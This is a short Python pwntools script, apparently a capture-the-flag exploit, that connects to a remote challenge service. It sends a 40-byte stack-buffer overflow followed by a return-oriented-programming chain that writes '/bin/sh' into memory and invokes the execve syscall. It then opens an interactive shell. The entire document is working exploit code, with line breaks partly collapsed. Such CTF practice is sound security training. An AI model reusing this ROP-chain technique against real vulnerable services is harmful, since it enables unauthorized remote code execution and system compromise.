1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import *
con = remote("ctf.adl.tw", 10004)
buf_addr = 0x4c6170
pop_rdi = 0x0000000000401ebf pop_rsi = 0x0000000000409eee pop_rax_rdx_rbx = 0x0000000000485c0a bin_bash = 0x7fffffffdb60 pop_rsp = 0x000000000040231e syscall = 0x0000000000401c74 add_al_11_mov_rax8_rdx = 0x00000000004520a1 payload = b'a'*40 + p64(pop_rax_rdx_rbx) + p64(0x4c6157) +b'/bin/sh\x00' + \ p64(0x0) + p64(add_al_11_mov_rax8_rdx) + p64(pop_rax_rdx_rbx) + p64(0x3b) + \ p64(0x0) + p64(0x0) + p64(pop_rsi) + p64(0x0) + p64(pop_rdi) + p64(buf_addr) + \ p64(syscall)
con.recvuntil(b'message:\n') raw_input() con.sendline(payload)
con.interactive() con.close()
|